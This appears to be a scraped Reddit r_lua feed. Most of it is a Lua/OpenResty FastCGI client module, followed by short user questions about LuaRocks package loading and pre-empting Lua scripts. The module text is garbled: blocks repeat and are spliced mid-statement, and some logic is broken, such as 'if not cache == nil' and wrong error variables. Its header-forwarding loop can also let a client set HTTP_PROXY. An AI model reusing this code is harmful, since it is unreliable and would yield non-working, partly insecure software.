FCGI.BODY_MAX_LENGTH then
chunk_length = FCGI.BODY_MAX_LENGTH
else
chunk_length = stdin_length
end
header, padding = _pack_header({
type = FCGI.STDIN,
content_length = chunk_length,
})
stdin_chunk[1] = header
stdin_chunk[2] = string.sub(stdin, 1, chunk_length)
stdin_chunk[3] = _pad(padding)
to_send[idx] = table.concat(stdin_chunk)
stdin = string.sub(stdin, chunk_length + 1)
stdin_length = stdin_length - chunk_length
idx = idx + 1
until stdin_length == 0
return table.concat(to_send)
end
local function _send_stdin(sock, stdin)
local ok, bytes, err, chunk, partial
if type(stdin) == 'function' then
repeat
chunk, err, partial = stdin(FCGI.BODY_MAX_LENGTH)
-- If the iterator returns nil, then we have no more stdin
-- Send an empty stdin record to signify the end of the request
if chunk then
ngx.log(ngx.DEBUG, "Request body reader yielded ", #chunk, " bytes of data - sending")
ok, err = sock:send(_format_stdin(chunk))
if not ok then
ngx.log(ngx.DEBUG, "Unable to send ", #chunk, " bytes of stdin: ", err)
return nil, err
end
-- Otherwise iterator errored, return
elseif err ~= nil then
ngx.log(ngx.DEBUG, "Request body reader yielded an error: ", err)
return nil, err, partial
end
until chunk == nil
elseif stdin ~= nil then
ngx.log(ngx.DEBUG, "Sending ", #stdin, " bytes of read data")
bytes, err = sock:send(_format_stdin(stdin))
if not bytes then
return nil, err
end
elseif stdin == nil then
return
end
-- Send empty stdin record to signify end
bytes, err = sock:send(FCGI_PREPACKED.empty_stdin)
if not bytes then
return nil, err
end
return true, nil
end
local function build_header(record_type, content_len, padding_len, request_id)
return string.char(
FCGI.VERSION_1,
record_type,
bit.rshift(request_id, 8),
bit.band(request_id, 0xFF),
bit.rshift(content_len, 8),
bit.band(content_len, 0xFF),
padding_len,
0
)
end
local function encode_name_value(name, value)
local n, v = #name, #value
local parts = {}
if n < 128 then
parts[#parts + 1] = string.char(n)
else
parts[#parts + 1] = string.char(
bit.bor(bit.rshift(n, 24), 0x80),
bit.band(bit.rshift(n, 16), 0xFF),
bit.band(bit.rshift(n, 8), 0xFF),
bit.band(n, 0xFF)
)
end
if v < 128 then
parts[#parts + 1] = string.char(v)
else
parts[#parts + 1] = string.char(
bit.bor(bit.rshift(v, 24), 0x80),
bit.band(bit.rshift(v, 16), 0xFF),
bit.band(bit.rshift(v, 8), 0xFF),
bit.band(v, 0xFF)
)
end
parts[#parts + 1] = name
parts[#parts + 1] = value
return table.concat(parts)
end
function _M:connect(host, port)
self.fcgiSocket = ngx.socket.tcp()
if not self.fcgiSocket then
ngx.log(ngx.ERR, "fastCGI : failed to create TCP socket")
return nil, "fastCGI : failed to create TCP socket"
end
self.request_id = 0
self.fcgiSocket:settimeout(3000) -- tmp change
local ok, err = self.fcgiSocket:connect(host, port)
if not ok then
chunk_length = FCGI.BODY_MAX_LENGTH
else
chunk_length = stdin_length
end
header, padding = _pack_header({
type = FCGI.STDIN,
content_length = chunk_length,
})
stdin_chunk[1] = header
stdin_chunk[2] = string.sub(stdin, 1, chunk_length)
stdin_chunk[3] = _pad(padding)
to_send[idx] = table.concat(stdin_chunk)
stdin = string.sub(stdin, chunk_length + 1)
stdin_length = stdin_length - chunk_length
idx = idx + 1
until stdin_length == 0
return table.concat(to_send)
end
local function _send_stdin(sock, stdin)
local ok, bytes, err, chunk, partial
if type(stdin) == 'function' then
repeat
chunk, err, partial = stdin(FCGI.BODY_MAX_LENGTH)
-- If the iterator returns nil, then we have no more stdin
-- Send an empty stdin record to signify the end of the request
if chunk then
ngx.log(ngx.DEBUG, "Request body reader yielded ", #chunk, " bytes of data - sending")
ok, err = sock:send(_format_stdin(chunk))
if not ok then
ngx.log(ngx.DEBUG, "Unable to send ", #chunk, " bytes of stdin: ", err)
return nil, err
end
-- Otherwise iterator errored, return
elseif err ~= nil then
ngx.log(ngx.DEBUG, "Request body reader yielded an error: ", err)
return nil, err, partial
end
until chunk == nil
elseif stdin ~= nil then
ngx.log(ngx.DEBUG, "Sending ", #stdin, " bytes of read data")
bytes, err = sock:send(_format_stdin(stdin))
if not bytes then
return nil, err
end
elseif stdin == nil then
return
end
-- Send empty stdin record to signify end
bytes, err = sock:send(FCGI_PREPACKED.empty_stdin)
if not bytes then
return nil, err
end
return true, nil
end
local function build_header(record_type, content_len, padding_len, request_id)
return string.char(
FCGI.VERSION_1,
record_type,
bit.rshift(request_id, 8),
bit.band(request_id, 0xFF),
bit.rshift(content_len, 8),
bit.band(content_len, 0xFF),
padding_len,
0
)
end
local function encode_name_value(name, value)
local n, v = #name, #value
local parts = {}
if n < 128 then
parts[#parts + 1] = string.char(n)
else
parts[#parts + 1] = string.char(
bit.bor(bit.rshift(n, 24), 0x80),
bit.band(bit.rshift(n, 16), 0xFF),
bit.band(bit.rshift(n, 8), 0xFF),
bit.band(n, 0xFF)
)
end
if v < 128 then
parts[#parts + 1] = string.char(v)
else
parts[#parts + 1] = string.char(
bit.bor(bit.rshift(v, 24), 0x80),
bit.band(bit.rshift(v, 16), 0xFF),
bit.band(bit.rshift(v, 8), 0xFF),
bit.band(v, 0xFF)
)
end
parts[#parts + 1] = name
parts[#parts + 1] = value
return table.concat(parts)
end
function _M:connect(host, port)
self.fcgiSocket = ngx.socket.tcp()
if not self.fcgiSocket then
ngx.log(ngx.ERR, "fastCGI : failed to create TCP socket")
return nil, "fastCGI : failed to create TCP socket"
end
self.request_id = 0
self.fcgiSocket:settimeout(3000) -- tmp change
local ok, err = self.fcgiSocket:connect(host, port)
if not ok then
ngx.log(ngx.ERR, "fastCGI : connect error: " .. (err or "Unknown"))
ngx.exit(ngx.HTTP_BAD_GATEWAY)
return nil, "fastCGI : connect error: " .. (err or "Unknown")
else
self.fcgiSocket:settimeout(30000)
end
return true
end
function _M:close()
if not self.fcgiSocket then
ngx.log(ngx.ERR, "fastCGI : no socket")
return nil, "fastCGI : no socket"
end
local _, close_err = self.fcgiSocket:close()
self.fcgiSocket = nil
if close_err and close_err ~= "closed" then
ngx.log(ngx.ERR, "fastCGI : close failed: " .. (close_err or "Unknown"))
return nil, "fastCGI : close failed: " .. (close_err or "Unknown")
end
return true
end
function _M.get_reused_times()
if not self.fcgiSocket then
ngx.log(ngx.ERR, "fastCGI : no socket")
return nil, "fastCGI : no socket"
end
return self.fcgiSocket:getreusedtimes()
end
function _M.set_timeout(timeout)
if not self.fcgiSocket then
ngx.log(ngx.ERR, "fastCGI : no socket")
return nil, "fastCGI : no socket"
end
return self.fcgiSocket:settimeout(timeout)
end
function _M.set_keepalive(...)
if not self.fcgiSocket then
ngx.log(ngx.ERR, "fastCGI : no socket")
return nil, "fastCGI : no socket"
end
return self.fcgiSocket:setkeepalive(...)
end
function _M:request(params, opts, stdin)
opts = opts or {}
if not self.fcgiSocket then
ngx.log(ngx.ERR, "fastCGI : not connected")
return nil, "fastCGI : not connected"
end
self.request_id = (self.request_id % 65535) + 1
local request_id = self.request_id
local function cleanup(ok)
if not self.fcgiSocket then return end
if ok and opts.keepalive then
local ka_ok, ka_err = self.fcgiSocket:setkeepalive(
opts.keepalive_timeout or 60000,
opts.keepalive_pool_size or 10
)
if not ka_ok and ka_err ~= "closed" then
ngx.log(ngx.ERR, "fastCGI : keepalive failed: " .. (ka_err or "Unknown"))
return nil, "fastCGI : keepalive failed: " .. (ka_err or "Unknown")
end
else
local _, close_err = self.fcgiSocket:close()
self.fcgiSocket = nil
if close_err and close_err ~= "closed" then
ngx.log(ngx.ERR, "fastCGI : close failed: " .. (close_err or "Unknown"))
return nil, "fastCGI : close failed: " .. (close_err or "Unknown")
end
end
end
local ok, err = xpcall(function()
local cache = nil
local cache_key = nil
if not (opts.cache_bypass and opts.cache_bypass()) and not ngx.var["skip_cache"] then
cache = ngx.shared[opts.cache_dict or "fastcgiCache"]
cache_key = table.concat({
ngx.var.scheme,
ngx.var.host,
ngx.var.uri,
ngx.var.args or "",
params.noscript_filename
}, "|")
local cached = cache:get(cache_key)
if cached then
ngx.status = cached.status
for k, v in pairs(cached.headers) do
ngx.header[k] = v
end
ngx.say(cached.body)
return ngx.exit(ngx.HTTP_OK)
end
end
local flags = 0
if opts.keepalive then
flags = FCGI.KEEP_CONN
end
local begin_body = string.char(0, FCGI.RESPONDER, flags, 0, 0, 0, 0, 0)
local header = build_header(FCGI.BEGIN_REQUEST, #begin_body, 0, request_id)
ngx.exit(ngx.HTTP_BAD_GATEWAY)
return nil, "fastCGI : connect error: " .. (err or "Unknown")
else
self.fcgiSocket:settimeout(30000)
end
return true
end
function _M:close()
if not self.fcgiSocket then
ngx.log(ngx.ERR, "fastCGI : no socket")
return nil, "fastCGI : no socket"
end
local _, close_err = self.fcgiSocket:close()
self.fcgiSocket = nil
if close_err and close_err ~= "closed" then
ngx.log(ngx.ERR, "fastCGI : close failed: " .. (close_err or "Unknown"))
return nil, "fastCGI : close failed: " .. (close_err or "Unknown")
end
return true
end
function _M.get_reused_times()
if not self.fcgiSocket then
ngx.log(ngx.ERR, "fastCGI : no socket")
return nil, "fastCGI : no socket"
end
return self.fcgiSocket:getreusedtimes()
end
function _M.set_timeout(timeout)
if not self.fcgiSocket then
ngx.log(ngx.ERR, "fastCGI : no socket")
return nil, "fastCGI : no socket"
end
return self.fcgiSocket:settimeout(timeout)
end
function _M.set_keepalive(...)
if not self.fcgiSocket then
ngx.log(ngx.ERR, "fastCGI : no socket")
return nil, "fastCGI : no socket"
end
return self.fcgiSocket:setkeepalive(...)
end
function _M:request(params, opts, stdin)
opts = opts or {}
if not self.fcgiSocket then
ngx.log(ngx.ERR, "fastCGI : not connected")
return nil, "fastCGI : not connected"
end
self.request_id = (self.request_id % 65535) + 1
local request_id = self.request_id
local function cleanup(ok)
if not self.fcgiSocket then return end
if ok and opts.keepalive then
local ka_ok, ka_err = self.fcgiSocket:setkeepalive(
opts.keepalive_timeout or 60000,
opts.keepalive_pool_size or 10
)
if not ka_ok and ka_err ~= "closed" then
ngx.log(ngx.ERR, "fastCGI : keepalive failed: " .. (ka_err or "Unknown"))
return nil, "fastCGI : keepalive failed: " .. (ka_err or "Unknown")
end
else
local _, close_err = self.fcgiSocket:close()
self.fcgiSocket = nil
if close_err and close_err ~= "closed" then
ngx.log(ngx.ERR, "fastCGI : close failed: " .. (close_err or "Unknown"))
return nil, "fastCGI : close failed: " .. (close_err or "Unknown")
end
end
end
local ok, err = xpcall(function()
local cache = nil
local cache_key = nil
if not (opts.cache_bypass and opts.cache_bypass()) and not ngx.var["skip_cache"] then
cache = ngx.shared[opts.cache_dict or "fastcgiCache"]
cache_key = table.concat({
ngx.var.scheme,
ngx.var.host,
ngx.var.uri,
ngx.var.args or "",
params.noscript_filename
}, "|")
local cached = cache:get(cache_key)
if cached then
ngx.status = cached.status
for k, v in pairs(cached.headers) do
ngx.header[k] = v
end
ngx.say(cached.body)
return ngx.exit(ngx.HTTP_OK)
end
end
local flags = 0
if opts.keepalive then
flags = FCGI.KEEP_CONN
end
local begin_body = string.char(0, FCGI.RESPONDER, flags, 0, 0, 0, 0, 0)
local header = build_header(FCGI.BEGIN_REQUEST, #begin_body, 0, request_id)
local ok, err = self.fcgiSocket:send(header .. begin_body)
if not ok then
ngx.log(ngx.ERR, "fastCGI : failed to send begin request: " .. (err or "Unknown"))
return nil, "fastCGI : failed to send begin request: " .. (err or "Unknown")
end
local fcgi_params = {}
if params.noscript_filename then
fcgi_params["SCRIPT_FILENAME"] = params.noscript_filename
local noscript_name = params.noscript_name
local path_info = params.path_info
if not noscript_name or not path_info then
local _uri = params.request_uri or ngx.var["request_uri"] or ""
_uri = _uri:match("^[^?]+") or ""
local m, n = _uri:match("(.+%.php)(/.*)")
if m then
noscript_name = noscript_name or (m or _uri)
path_info = path_info or n
else
noscript_name = noscript_name or _uri
path_info = path_info or ""
end
end
fcgi_params["SCRIPT_NAME"] = noscript_name or ""
fcgi_params["PATH_INFO"] = path_info or ""
end
fcgi_params["REQUEST_METHOD"] = params.request_method or ngx.var["request_method"]
fcgi_params["QUERY_STRING"] = params.query_string or ngx.var["query_string"] or ""
fcgi_params["SERVER_PROTOCOL"] = params.server_protocol or ngx.var["server_protocol"]
fcgi_params["REMOTE_ADDR"] = ngx.var["remote_addr"] or ""
fcgi_params["REMOTE_PORT"] = ngx.var["remote_port"] or ""
fcgi_params["SERVER_ADDR"] = ngx.var["server_addr"] or ""
fcgi_params["SERVER_PORT"] = ngx.var["server_port"] or ""
fcgi_params["SERVER_NAME"] = ngx.var["server_name"] or ""
fcgi_params["DOCUMENT_ROOT"] = params.document_root or ngx.var["document_root"] or ""
fcgi_params["DOCUMENT_URI"] = params.document_uri or ngx.var["request_uri"] or ""
fcgi_params["COUNTRY_CODE"] = params.geoip2_data_country_code or ngx.var["geoip2_data_country_code"] or ""
fcgi_params["COUNTRY_NAME"] = params.geoip2_data_country_name or ngx.var["geoip2_data_country_name"] or ""
fcgi_params["CITY_NAME"] = params.geoip2_data_city_name or ngx.var["geoip2_data_city_name"] or ""
fcgi_params["HTTP_PROXY"] = params.http_proxy or ""
local headers = ngx.req.get_headers()
if headers["Content-Type"] then
fcgi_params["CONTENT_TYPE"] = headers["Content-Type"]
end
if ngx.var["content_length"] then
fcgi_params["CONTENT_LENGTH"] = ngx.var["content_length"]
end
if params.fastcgi_params then
for k, v in pairs(params.fastcgi_params) do
fcgi_params[k] = v
end
end
for k, v in pairs(headers) do
if type(k) == "string" and type(v) == "string" then
local hk = "HTTP_" .. k:upper():gsub("-", "_")
if hk ~= "HTTP_CONTENT_TYPE" and hk ~= "HTTP_CONTENT_LENGTH" then
fcgi_params[hk] = v
end
end
end
local all_params = {}
for k, v in pairs(fcgi_params) do
all_params[#all_params + 1] = encode_name_value(k, tostring(v))
end
local pstr = table.concat(all_params)
local pos, plen = 1, #pstr
local chunk
local clen, pad
local bytes, sendERR
while plen > 0 do
chunk = pstr:sub(pos, pos + 65535 - 1)
clen, pad = #chunk, (8 - (#chunk % 8)) % 8
bytes, sendERR = self.fcgiSocket:send(build_header(FCGI.PARAMS, clen, pad, request_id) ..
if not ok then
ngx.log(ngx.ERR, "fastCGI : failed to send begin request: " .. (err or "Unknown"))
return nil, "fastCGI : failed to send begin request: " .. (err or "Unknown")
end
local fcgi_params = {}
if params.noscript_filename then
fcgi_params["SCRIPT_FILENAME"] = params.noscript_filename
local noscript_name = params.noscript_name
local path_info = params.path_info
if not noscript_name or not path_info then
local _uri = params.request_uri or ngx.var["request_uri"] or ""
_uri = _uri:match("^[^?]+") or ""
local m, n = _uri:match("(.+%.php)(/.*)")
if m then
noscript_name = noscript_name or (m or _uri)
path_info = path_info or n
else
noscript_name = noscript_name or _uri
path_info = path_info or ""
end
end
fcgi_params["SCRIPT_NAME"] = noscript_name or ""
fcgi_params["PATH_INFO"] = path_info or ""
end
fcgi_params["REQUEST_METHOD"] = params.request_method or ngx.var["request_method"]
fcgi_params["QUERY_STRING"] = params.query_string or ngx.var["query_string"] or ""
fcgi_params["SERVER_PROTOCOL"] = params.server_protocol or ngx.var["server_protocol"]
fcgi_params["REMOTE_ADDR"] = ngx.var["remote_addr"] or ""
fcgi_params["REMOTE_PORT"] = ngx.var["remote_port"] or ""
fcgi_params["SERVER_ADDR"] = ngx.var["server_addr"] or ""
fcgi_params["SERVER_PORT"] = ngx.var["server_port"] or ""
fcgi_params["SERVER_NAME"] = ngx.var["server_name"] or ""
fcgi_params["DOCUMENT_ROOT"] = params.document_root or ngx.var["document_root"] or ""
fcgi_params["DOCUMENT_URI"] = params.document_uri or ngx.var["request_uri"] or ""
fcgi_params["COUNTRY_CODE"] = params.geoip2_data_country_code or ngx.var["geoip2_data_country_code"] or ""
fcgi_params["COUNTRY_NAME"] = params.geoip2_data_country_name or ngx.var["geoip2_data_country_name"] or ""
fcgi_params["CITY_NAME"] = params.geoip2_data_city_name or ngx.var["geoip2_data_city_name"] or ""
fcgi_params["HTTP_PROXY"] = params.http_proxy or ""
local headers = ngx.req.get_headers()
if headers["Content-Type"] then
fcgi_params["CONTENT_TYPE"] = headers["Content-Type"]
end
if ngx.var["content_length"] then
fcgi_params["CONTENT_LENGTH"] = ngx.var["content_length"]
end
if params.fastcgi_params then
for k, v in pairs(params.fastcgi_params) do
fcgi_params[k] = v
end
end
for k, v in pairs(headers) do
if type(k) == "string" and type(v) == "string" then
local hk = "HTTP_" .. k:upper():gsub("-", "_")
if hk ~= "HTTP_CONTENT_TYPE" and hk ~= "HTTP_CONTENT_LENGTH" then
fcgi_params[hk] = v
end
end
end
local all_params = {}
for k, v in pairs(fcgi_params) do
all_params[#all_params + 1] = encode_name_value(k, tostring(v))
end
local pstr = table.concat(all_params)
local pos, plen = 1, #pstr
local chunk
local clen, pad
local bytes, sendERR
while plen > 0 do
chunk = pstr:sub(pos, pos + 65535 - 1)
clen, pad = #chunk, (8 - (#chunk % 8)) % 8
bytes, sendERR = self.fcgiSocket:send(build_header(FCGI.PARAMS, clen, pad, request_id) ..
chunk .. string.rep("\0", pad))
if not bytes then
ngx.log(ngx.ERR, "fastCGI : Failed to send params: " .. (sendERR or "Unknown"))
return nil, "fastCGI : Failed to send params: " .. (sendERR or "Unknown")
end
pos = pos + clen
plen = plen - clen
end
self.fcgiSocket:send(build_header(FCGI.PARAMS, 0, 0, request_id))
self.fcgiSocket:settimeout(opts.read_timeout or 60000)
local method = fcgi_params.REQUEST_METHOD
if method == "POST" or method == "PUT" or method == "PATCH" then
ngx.req.read_body()
local body_sock = ngx.req.socket(true)
local sendOK
local chunk_
local data, recv_err, partial
if body_sock then
repeat
data, recv_err, partial = body_sock:receive(opts.body_chunk_size or 8192)
ngx.log(ngx.DEBUG, "Attempting to read end request")
if not data or partial then
ngx.log(ngx.ERR, "Unable to parse FCGI end request body : " .. (err or "Unknown"))
return nil, "Unable to parse FCGI end request body : " .. (err or "Unknown")
end
chunk_ = data or partial
if chunk_ then
pad = (8 - (#chunk_ % 8)) % 8
sendOK, sendERR = self.fcgiSocket:send(build_header(FCGI.STDIN, #chunk_, pad, request_id) ..
chunk_ .. (pad > 0 and string.rep("\0", pad) or ""))
if not sendOK then
ngx.log(ngx.ERR, "Failed to send stdin: " .. (sendERR or "Unknown"))
return nil, "Failed to send stdin: " .. (sendERR or "Unknown")
end
end
until not data or recv_err
end
end
self.fcgiSocket:send(build_header(FCGI.STDIN, 0, 0, request_id))
local stdout, stderr = "", {}
local parsed_headers = false
local read_bytes = ""
local partial = ""
local bytes_to_read, hdrByte, rcvERR
local hdr, typ, rcvClen, rcvPad
local sep, raw, rest
local hn, hv, hName
local cacheMethod
local read_data
while true do
hdrByte, rcvERR = self.fcgiSocket:receive(opts.header_chunk_size or 8)
if (rcvERR == "closed") then
rcvERR = "connection closed"
end
if not hdrByte then
ngx.log(ngx.ERR, "fastCGI : recv header error: " .. (rcvERR or "Unknown"))
return nil, "fastCGI : recv header error: " .. (rcvERR or "Unknown")
end
hdr = _unpack_hdr(FCGI.HEADER_FORMAT, hdrByte)
if not hdr then
ngx.log(ngx.ERR, "Unable to parse FCGI record header : " .. (rcvERR or "Unknown"))
return nil, "Unable to parse FCGI record header : " .. (rcvERR or "Unknown")
end
typ = hdr.type
rcvClen = hdr.content_length
rcvPad = hdr.padding_length
if hdr.version ~= FCGI.VERSION_1 then
ngx.log(ngx.ERR, "invalid protocol version: " .. hdr.version)
return nil, "invalid protocol version: " .. hdr.version
end
ngx.log(ngx.DEBUG, "New content length is " .. rcvClen .. " padding ", rcvPad)
if rcvClen > 0 then
read_bytes, rcvERR, partial = self.fcgiSocket:receive(rcvClen)
if not read_bytes or partial then
ngx.log(ngx.ERR, "fastCGI : recv content error: " .. (rcvERR or "Unknown"))
if not bytes then
ngx.log(ngx.ERR, "fastCGI : Failed to send params: " .. (sendERR or "Unknown"))
return nil, "fastCGI : Failed to send params: " .. (sendERR or "Unknown")
end
pos = pos + clen
plen = plen - clen
end
self.fcgiSocket:send(build_header(FCGI.PARAMS, 0, 0, request_id))
self.fcgiSocket:settimeout(opts.read_timeout or 60000)
local method = fcgi_params.REQUEST_METHOD
if method == "POST" or method == "PUT" or method == "PATCH" then
ngx.req.read_body()
local body_sock = ngx.req.socket(true)
local sendOK
local chunk_
local data, recv_err, partial
if body_sock then
repeat
data, recv_err, partial = body_sock:receive(opts.body_chunk_size or 8192)
ngx.log(ngx.DEBUG, "Attempting to read end request")
if not data or partial then
ngx.log(ngx.ERR, "Unable to parse FCGI end request body : " .. (err or "Unknown"))
return nil, "Unable to parse FCGI end request body : " .. (err or "Unknown")
end
chunk_ = data or partial
if chunk_ then
pad = (8 - (#chunk_ % 8)) % 8
sendOK, sendERR = self.fcgiSocket:send(build_header(FCGI.STDIN, #chunk_, pad, request_id) ..
chunk_ .. (pad > 0 and string.rep("\0", pad) or ""))
if not sendOK then
ngx.log(ngx.ERR, "Failed to send stdin: " .. (sendERR or "Unknown"))
return nil, "Failed to send stdin: " .. (sendERR or "Unknown")
end
end
until not data or recv_err
end
end
self.fcgiSocket:send(build_header(FCGI.STDIN, 0, 0, request_id))
local stdout, stderr = "", {}
local parsed_headers = false
local read_bytes = ""
local partial = ""
local bytes_to_read, hdrByte, rcvERR
local hdr, typ, rcvClen, rcvPad
local sep, raw, rest
local hn, hv, hName
local cacheMethod
local read_data
while true do
hdrByte, rcvERR = self.fcgiSocket:receive(opts.header_chunk_size or 8)
if (rcvERR == "closed") then
rcvERR = "connection closed"
end
if not hdrByte then
ngx.log(ngx.ERR, "fastCGI : recv header error: " .. (rcvERR or "Unknown"))
return nil, "fastCGI : recv header error: " .. (rcvERR or "Unknown")
end
hdr = _unpack_hdr(FCGI.HEADER_FORMAT, hdrByte)
if not hdr then
ngx.log(ngx.ERR, "Unable to parse FCGI record header : " .. (rcvERR or "Unknown"))
return nil, "Unable to parse FCGI record header : " .. (rcvERR or "Unknown")
end
typ = hdr.type
rcvClen = hdr.content_length
rcvPad = hdr.padding_length
if hdr.version ~= FCGI.VERSION_1 then
ngx.log(ngx.ERR, "invalid protocol version: " .. hdr.version)
return nil, "invalid protocol version: " .. hdr.version
end
ngx.log(ngx.DEBUG, "New content length is " .. rcvClen .. " padding ", rcvPad)
if rcvClen > 0 then
read_bytes, rcvERR, partial = self.fcgiSocket:receive(rcvClen)
if not read_bytes or partial then
ngx.log(ngx.ERR, "fastCGI : recv content error: " .. (rcvERR or "Unknown"))
return nil, "fastCGI : recv content error: " .. (rcvERR or "Unknown")
end
end
if rcvClen <= 65535 then
bytes_to_read = rcvClen
else
bytes_to_read = 65535
end
if bytes_to_read > 0 then
read_data, rcvERR, partial = self.fcgiSocket:receive(bytes_to_read)
if not read_data then
return nil, "Unable to retrieve request body: " .. rcvERR .. ' < ' .. partial .. ' >'
end
rcvClen = rcvClen - bytes_to_read
ngx.log(ngx.DEBUG, "Reducing content length by ", bytes_to_read, " bytes to ", rcvClen)
end
if typ == FCGI.STDOUT then
if #read_bytes > 0 then
if not parsed_headers then
stdout = stdout .. read_bytes
sep = stdout:find("\r\n\r\n", 1, true)
if sep then
raw = stdout:sub(1, sep - 1)
rest = stdout:sub(sep + 4)
for line in raw:gmatch("([^\r\n]+)") do
hn, hv = line:match("^([^:]+):%s*(.*)")
if hn then
hName = hn:lower()
if hName == "status" then
ngx.status = tonumber(hv) or ngx.status
elseif hName == "content-type" then
ngx.header["Content-Type"] = hv
else
ngx.header[hn] = hv
end
end
end
parsed_headers = true
ngx.print(rest)
end
else
ngx.print(read_bytes)
end
end
elseif typ == FCGI.STDERR and #read_bytes > 0 then
stderr[#stderr + 1] = read_bytes
ngx.log(ngx.ERR, "fastCGI : FastCGI stderr: ", (read_bytes or "Unknown"))
if read_bytes:find("PHP Fatal error", 1, true) then
ngx.status = ngx.HTTP_INTERNAL_SERVER_ERROR
ngx.say(read_bytes)
ngx.exit(ngx.HTTP_INTERNAL_SERVER_ERROR)
end
elseif typ == FCGI.END_REQUEST then
break
else
ngx.log(ngx.ERR, "fastCGI : Attempted to receive an unknown FCGI record = " .. typ)
ngx.status = ngx.HTTP_INTERNAL_SERVER_ERROR
ngx.exit(ngx.HTTP_INTERNAL_SERVER_ERROR)
end
if rcvClen <= 0 and rcvPad > 0 then
_, rcvERR = self.fcgiSocket:receive(rcvPad)
if not read_bytes then
ngx.log(ngx.ERR, "fastCGI : recv content error: " .. (rcvERR or "Unknown"))
return nil, "fastCGI : recv content error: " .. (rcvERR or "Unknown")
end
end
end
for _, h in ipairs(opts.hide_headers or {}) do
ngx.header[h] = nil
end
if #stderr > 0 and opts.intercept_errors then
ngx.status = ngx.HTTP_INTERNAL_SERVER_ERROR
ngx.say("Internal server error")
return ngx.exit(ngx.HTTP_INTERNAL_SERVER_ERROR)
end
if not ngx.var["skip_cache"] then
cacheMethod = false
for _,method in ipairs(opts.cacheMethods or {}) do
if ngx.req.get_method() ==
end
end
if rcvClen <= 65535 then
bytes_to_read = rcvClen
else
bytes_to_read = 65535
end
if bytes_to_read > 0 then
read_data, rcvERR, partial = self.fcgiSocket:receive(bytes_to_read)
if not read_data then
return nil, "Unable to retrieve request body: " .. rcvERR .. ' < ' .. partial .. ' >'
end
rcvClen = rcvClen - bytes_to_read
ngx.log(ngx.DEBUG, "Reducing content length by ", bytes_to_read, " bytes to ", rcvClen)
end
if typ == FCGI.STDOUT then
if #read_bytes > 0 then
if not parsed_headers then
stdout = stdout .. read_bytes
sep = stdout:find("\r\n\r\n", 1, true)
if sep then
raw = stdout:sub(1, sep - 1)
rest = stdout:sub(sep + 4)
for line in raw:gmatch("([^\r\n]+)") do
hn, hv = line:match("^([^:]+):%s*(.*)")
if hn then
hName = hn:lower()
if hName == "status" then
ngx.status = tonumber(hv) or ngx.status
elseif hName == "content-type" then
ngx.header["Content-Type"] = hv
else
ngx.header[hn] = hv
end
end
end
parsed_headers = true
ngx.print(rest)
end
else
ngx.print(read_bytes)
end
end
elseif typ == FCGI.STDERR and #read_bytes > 0 then
stderr[#stderr + 1] = read_bytes
ngx.log(ngx.ERR, "fastCGI : FastCGI stderr: ", (read_bytes or "Unknown"))
if read_bytes:find("PHP Fatal error", 1, true) then
ngx.status = ngx.HTTP_INTERNAL_SERVER_ERROR
ngx.say(read_bytes)
ngx.exit(ngx.HTTP_INTERNAL_SERVER_ERROR)
end
elseif typ == FCGI.END_REQUEST then
break
else
ngx.log(ngx.ERR, "fastCGI : Attempted to receive an unknown FCGI record = " .. typ)
ngx.status = ngx.HTTP_INTERNAL_SERVER_ERROR
ngx.exit(ngx.HTTP_INTERNAL_SERVER_ERROR)
end
if rcvClen <= 0 and rcvPad > 0 then
_, rcvERR = self.fcgiSocket:receive(rcvPad)
if not read_bytes then
ngx.log(ngx.ERR, "fastCGI : recv content error: " .. (rcvERR or "Unknown"))
return nil, "fastCGI : recv content error: " .. (rcvERR or "Unknown")
end
end
end
for _, h in ipairs(opts.hide_headers or {}) do
ngx.header[h] = nil
end
if #stderr > 0 and opts.intercept_errors then
ngx.status = ngx.HTTP_INTERNAL_SERVER_ERROR
ngx.say("Internal server error")
return ngx.exit(ngx.HTTP_INTERNAL_SERVER_ERROR)
end
if not ngx.var["skip_cache"] then
cacheMethod = false
for _,method in ipairs(opts.cacheMethods or {}) do
if ngx.req.get_method() ==
method then
cacheMethod = true
end
end
if cacheMethod and ngx.status == 200 and opts.cache_valid then
if not cache == nil then
cache:set(cache_key, table.concat { stdout:sub((parsed_headers and 1 or 0)) }, opts.cache_valid)
end
end
end
end, debug.traceback)
if not ok then
ngx.log(ngx.ERR, "fastCGI : execution error: ", (err or "Unknown"))
end
cleanup(ok)
if not ok then
return nil, err
end
local stdinOK, sendERR, stdinPartial = _send_stdin(self.sock, stdin)
if not stdinOK then
return nil, "fastCGI : Failed to send stdin: " .. (sendERR or "Unkown error") .. '< ' .. (stdinPartial or 'Unknown') .. ' >'
end
return ngx.OK, nil
end
return _M
https://redd.it/1kckmf6
@r_lua
cacheMethod = true
end
end
if cacheMethod and ngx.status == 200 and opts.cache_valid then
if not cache == nil then
cache:set(cache_key, table.concat { stdout:sub((parsed_headers and 1 or 0)) }, opts.cache_valid)
end
end
end
end, debug.traceback)
if not ok then
ngx.log(ngx.ERR, "fastCGI : execution error: ", (err or "Unknown"))
end
cleanup(ok)
if not ok then
return nil, err
end
local stdinOK, sendERR, stdinPartial = _send_stdin(self.sock, stdin)
if not stdinOK then
return nil, "fastCGI : Failed to send stdin: " .. (sendERR or "Unkown error") .. '< ' .. (stdinPartial or 'Unknown') .. ' >'
end
return ngx.OK, nil
end
return _M
https://redd.it/1kckmf6
@r_lua
Reddit
From the lua community on Reddit
Explore this post and more from the lua community
Luarocks: Unable to
I installed Lua and Luarocks on Linux Mint from the apt package repository. I was also able to install a package from Luarocks, the faker package...
Installing faker package locally...
$ luarocks install faker --local
However I cannot get the Lua to find the faker package and load it into the noscript. How do I achieve this on Linux Mint without modifying the lua noscript file?
Create simple lua noscript...
\~/Desktop/noscript.lua
faker = require('faker')
myFaker = faker:new()
print(myFaker:name())
Running the noscript...
~/Desktop $ lua noscript.lua
https://redd.it/1kd74th
@r_lua
I installed Lua and Luarocks on Linux Mint from the apt package repository. I was also able to install a package from Luarocks, the faker package...
Installing faker package locally...
$ luarocks install faker --local
However I cannot get the Lua to find the faker package and load it into the noscript. How do I achieve this on Linux Mint without modifying the lua noscript file?
Create simple lua noscript...
\~/Desktop/noscript.lua
faker = require('faker')
myFaker = faker:new()
print(myFaker:name())
Running the noscript...
~/Desktop $ lua noscript.lua
https://redd.it/1kd74th
@r_lua
Reddit
From the lua community on Reddit
Explore this post and more from the lua community
Is it possible to pre empt a running lua fn from my c++ calling code?
I am dynamically downloading multiple lua noscripts from a remote server.
I can't control the contents of lua noscript.
I currently have a cooperative scheduler in place with lua hooks to check how long a noscript has run for using monotonic clock every 1000 ins.
